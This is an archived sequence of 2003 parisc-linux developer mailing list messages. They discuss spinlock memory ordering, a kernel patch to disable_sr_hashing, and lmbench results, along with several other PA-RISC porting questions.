List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17676

On Sat, 2003-02-08 at 20:03, Matthew Wilcox wrote:
> I think it's even worse than that.  What stops gcc reordering:
> 
> typedef struct {
>         spinlock_t lock;
>         volatile int counter;
> } rwlock_t;
> 
> static  __inline__ void _raw_read_lock(rwlock_t *rw)
> {
>         while (__ldcw (&(x)->lock) == 0) \
>                 while (((x)->lock) == 0) ; } while (0)
>         rw->counter++;
>         do { (x)->lock = 1; } while(0)
> }
> 
> to:
> 
>         while (__ldcw (&(x)->lock) == 0) \
>                 while (((x)->lock) == 0) ; } while (0)
>         do { (x)->lock = 1; } while(0)
>         rw->counter++;

Compilers themselves have fairly strong reordering rules.  For instance,
do { } while() blocks cannot be reordered like your example (that's why
the kernel uses do { } while(0); as a compiler reordering barrier.

You can if you prefer use the barrier() macro, which prevents the
compiler from reordering statements around it.

Of course, the processor can still reorder what the compiler doesn't as
part of its speculation and optimisation (that's what mb(), rmb() and
wmb() are all about).

James




From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@dsl2.external.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Revert sr_hashing changes
Date: Sun, 9 Feb 2003 09:00:59 -0700
Lines: 138
Approved: news@gmane.org
Message-ID: <20030209160059.GA17385@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622204 21662 80.91.229.3 (22 Nov 2014 02:10:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 09:01:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26919)
	id 081DD482B; Sun,  9 Feb 2003 09:00:59 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17677

I've also taken the opportunity to do a little misc cleanup.
Just checking it compiles, then I'll commit.

Index: arch/parisc/kernel/processor.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/processor.c,v
retrieving revision 1.16
diff -u -p -r1.16 processor.c
--- arch/parisc/kernel/processor.c	8 Feb 2003 22:22:42 -0000	1.16
+++ arch/parisc/kernel/processor.c	9 Feb 2003 13:30:50 -0000
@@ -273,7 +273,6 @@ int __init init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
-	extern void disable_sr_hashing(void);	/* from cache.c */
 
 	ret = pdc_coproc_cfg(&coproc_cfg);
 
@@ -310,8 +309,6 @@ int __init init_per_cpu(int cpunum)
 
 	/* FUTURE: Enable Performance Monitor : ccr bit 0x20 */
 	init_percpu_prof(cpunum);
-
-        disable_sr_hashing();
 
 	return ret;
 }
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/cache.c,v
retrieving revision 1.23
diff -u -p -r1.23 cache.c
--- arch/parisc/kernel/cache.c	8 Feb 2003 22:22:42 -0000	1.23
+++ arch/parisc/kernel/cache.c	9 Feb 2003 13:30:50 -0000
@@ -194,33 +194,30 @@ cache_init(void)
 
 void disable_sr_hashing(void)
 {
-    int srhash_type;
+	int srhash_type;
 
-    if (boot_cpu_data.cpu_type == pcxl2)
-	return; /* pcxl2 doesn't support space register hashing */
+	switch (boot_cpu_data.cpu_type) {
+	case pcx: /* We shouldn't get this far.  setup.c should prevent it. */
+		BUG();
+		return;
+
+	case pcxs:
+	case pcxt:
+	case pcxt_:
+		srhash_type = SRHASH_PCXST;
+		break;
+
+	case pcxl:
+		srhash_type = SRHASH_PCXL;
+		break;
+
+	case pcxl2: /* pcxl2 doesn't support space register hashing */
+		return;
+
+	default: /* Currently all PA2.0 machines use the same ins. sequence */
+		srhash_type = SRHASH_PA20;
+		break;
+	}
 
-    switch (boot_cpu_data.cpu_type) {
-
-    case pcx:
-	BUG(); /* We shouldn't get here. code in setup.c should prevent it */
-	return;
-
-    case pcxs:
-    case pcxt:
-    case pcxt_:
-	srhash_type = SRHASH_PCXST;
-	break;
-
-    case pcxl:
-	srhash_type = SRHASH_PCXL;
-	break;
-
-    default: /* Currently all PA2.0 machines use the same ins. sequence */
-	srhash_type = SRHASH_PA20;
-	break;
-    }
-
-    disable_sr_hashing_asm(srhash_type);
-
-    mb();
+	disable_sr_hashing_asm(srhash_type);
 }
Index: arch/parisc/kernel/smp.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/smp.c,v
retrieving revision 1.21
diff -u -p -r1.21 smp.c
--- arch/parisc/kernel/smp.c	8 Feb 2003 22:22:42 -0000	1.21
+++ arch/parisc/kernel/smp.c	9 Feb 2003 13:30:50 -0000
@@ -33,6 +33,7 @@
 #include <linux/kernel_stat.h>
 #include <linux/mm.h>
 #include <linux/delay.h>
+#include <linux/reboot.h>
 
 #include <asm/system.h>
 #include <asm/atomic.h>
@@ -434,21 +435,21 @@ smp_cpu_init(int cpunum)
 	extern void init_IRQ(void);    /* arch/parisc/kernel/irq.c */
 
 	/* Set modes and Enable floating point coprocessor */
-	(void) init_per_cpu(cpunum);
+	init_per_cpu(cpunum);
 
-	/* Well, support 2.4 linux scheme as well. */
-	if (test_and_set_bit(cpunum, (unsigned long *) (&cpu_online_map)))
-	{
-		extern void machine_halt(void); /* arch/parisc.../process.c */
+	disable_sr_hashing();
+	mb();
 
+	/* Well, support 2.4 linux scheme as well. */
+	if (test_and_set_bit(cpunum, (unsigned long *) (&cpu_online_map))) {
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
 	current->active_mm = &init_mm;
-	if(current->mm)
+	if (current->mm)
 		BUG();
 	enter_lazy_tlb(&init_mm, current, cpunum);
 



From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 12:14:41 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030209191441.GA21938@dsl2.external.hp.com>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209031014.GD19683@dsl2.external.hp.com> <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622204 21664 80.91.229.3 (22 Nov 2014 02:10:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 12:14:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A6B3C4829; Sun,  9 Feb 2003 12:14:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17678

On Sun, Feb 09, 2003 at 12:29:13PM +0000, Matthew Wilcox wrote:
> I'll upload it to unofficial-debs and people will be able to apt-get
> install it from there.

cool - thanks.

> Sure, but there's a measurable performance difference if you compile out
> spinlocks

if people care about the last 5% performance, they still have several
options:
o build your own kernel
o run HPUX

I've not done or seen any lmbench perf results recently but before hpux
was 10x faster on context switch/task related stuff.  And X11 server
takes advantage of HW acceleration.
(I'm associating UP systems with graphics which isn't always true)

grant


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 16:24:54 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20030209212454.GB924@hadron>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209031014.GD19683@dsl2.external.hp.com> <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk> <20030209191441.GA21938@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622205 21668 80.91.229.3 (22 Nov 2014 02:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:05 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 14:25:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0B4C482E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 14:25:35 -0700 (MST)
Original-Received: from hadron.dyndns.org (localhost [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h19LOx7b015086;
	Sun, 9 Feb 2003 16:24:59 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h19LOs0n015085;
	Sun, 9 Feb 2003 16:24:54 -0500
Content-Disposition: inline
In-Reply-To: <20030209191441.GA21938@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17679

In another life Grant Grundler wrote:

> On Sun, Feb 09, 2003 at 12:29:13PM +0000, Matthew Wilcox wrote:
> > I'll upload it to unofficial-debs and people will be able to apt-get
> > install it from there.
> 
> cool - thanks.
> 
> > Sure, but there's a measurable performance difference if you compile out
> > spinlocks
> 
> if people care about the last 5% performance, they still have several
> options:
> o build your own kernel

	As far as you know am I the only person, that has reported not being
	able to boot a 2.4.20-pa?? kernel compiled either natively or cross ? 

	By the way, I tried pa24 today, though I haven't built it natively
	yet I cross compiled it to no avail... 

> o run HPUX
> 
> I've not done or seen any lmbench perf results recently but before hpux
> was 10x faster on context switch/task related stuff.  And X11 server
> takes advantage of HW acceleration.
> (I'm associating UP systems with graphics which isn't always true)
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 Either I'm dead or my watch has stopped.
 		-- Groucho Marx's last words


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 15:56:56 -0800
Lines: 73
Approved: news@gmane.org
Message-ID: <20030209235656.GA31429@tausq.org>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209031014.GD19683@dsl2.external.hp.com> <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk> <20030209191441.GA21938@dsl2.external.hp.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622205 21674 80.91.229.3 (22 Nov 2014 02:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:05 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 17:45:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEB69482D
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 17:45:35 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 97BB0CD294; Sun,  9 Feb 2003 15:56:56 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030209191441.GA21938@dsl2.external.hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17680

> I've not done or seen any lmbench perf results recently but before hpux

well, we can fix that... :) Here are the numbers for a 2x440Mhz A500 running 
2.4.20-pa24 SMP.

btw, if you look at
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-April/015984.html
we are only 2-3x slower than hpux :-)

I'm a bit confused about the "mmap latency" numbers. why are they so
high?

Related to this, thibaut and I were experimenting with running dbench on
two A500s today running identical kernels, but one is 2x440MHz and one
is 2x550MHz. The 550MHz is almost 10x faster. Is that expected?
Memory/disk configurations (3GB RAM in 440MHz, 2.5GB in 550MHz, etc) are 
not exactly the same, but I wouldn't have expected them to differ by that much.

randolph

                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------


Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
ios       Linux 2.4.20-        hppa64-linux-gnu  440

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec sh  
                             call  I/O stat clos TCP   inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ----
ios       Linux 2.4.20-  440 0.73 1.85 10.2 11.8 110.8 2.17 16.9 17.K 41.K 85.K

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
ios       Linux 2.4.20- 5.630 5.1500 4.9900 9.0800   23.4    52.1   175.8

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
ios       Linux 2.4.20- 5.630  20.4 48.4  89.2 172.5 114.1 351.5 1000

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page	
                        Create Delete Create Delete  Latency Fault   Fault 
--------- ------------- ------ ------ ------ ------  ------- -----   ----- 
ios       Linux 2.4.20-  130.0   80.0  509.9  180.0  3120.0K 603.4    58.0

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
ios       Linux 2.4.20- 49.1 81.0 33.6   74.0  268.4  201.8  168.8 260. 250.9

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
ios       Linux 2.4.20-   440  20.0   20.0  220.0    No L1 cache?


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Mon, 10 Feb 2003 01:38:20 -0700 (MST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200302100838.BAA07327@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622205 21679 80.91.229.3 (22 Nov 2014 02:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 01:38:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAE0B482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 01:38:21 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel8.hp.com (Postfix) with ESMTP id 313241C00E15
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 03:38:21 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.01) id BAA07327
	for parisc-linux@lists.parisc-linux.org; Mon, 10 Feb 2003 01:38:20 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17681

> 2.4.20-pa24 PA20 memory ordering
> Kudos to John David Anglin and Carlos O'Donnell for realizing
> PA 2.0 is not strongly ordered like PA1.x is.
> Read appendix G or PA-RISC 2.0 Architecture (Gerry Kane) for
> details on "Memory Ordering Model".

Sorry, this is wrong.  I'm afraid you are wasting your time with all of
these code changes.

The problem is that the Kane book defines the architecture, i.e. it
defines what can be done, not what has been done.  Of course, to know what
has been done you have to read the various processor ERS's, and I'm not
sure we've made any of the PA2.0 chip ERS's available.

Anyway, no PA2.0 processor has implemented the PSW O bit, TLB O bit or
support for the ,o completers (they are just ignored).  All of the PA2.0
processors are strongly ordered, just like the PA1.x processors are.  I
can pretty much guarantee that no future PA processor is going to change
that fact.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pty.c & gcc-3.2 workaround?
Date: Mon, 10 Feb 2003 17:40:23 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3E476CFE0000078D@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622206 21682 80.91.229.3 (22 Nov 2014 02:10:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 09:40:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E088482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 09:40:26 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iGym-0004iJ-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 17:40:24 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Feb 2003 17:40:23 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17682

Hi all,

Is this work-around could be safely remove now? (I just test it on 2.4.20-pa26
32bit UP as well as on a 2.4.21-pre4-pa23 of mine and seems to works fine)

Thanks for advice,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Mon, 10 Feb 2003 09:47:42 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20030210164742.GA26525@dsl2.external.hp.com>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209031014.GD19683@dsl2.external.hp.com> <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk> <20030209191441.GA21938@dsl2.external.hp.com> <20030209212454.GB924@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622206 21684 80.91.229.3 (22 Nov 2014 02:10:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 09:47:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5C288482D; Mon, 10 Feb 2003 09:47:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030209212454.GB924@hadron>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17683

On Sun, Feb 09, 2003 at 04:24:54PM -0500, Aaron St. Pierre wrote:
> In another life Grant Grundler wrote:
> > if people care about the last 5% performance, they still have several
> > options:
> > o build your own kernel
> 
> 	As far as you know am I the only person, that has reported not being
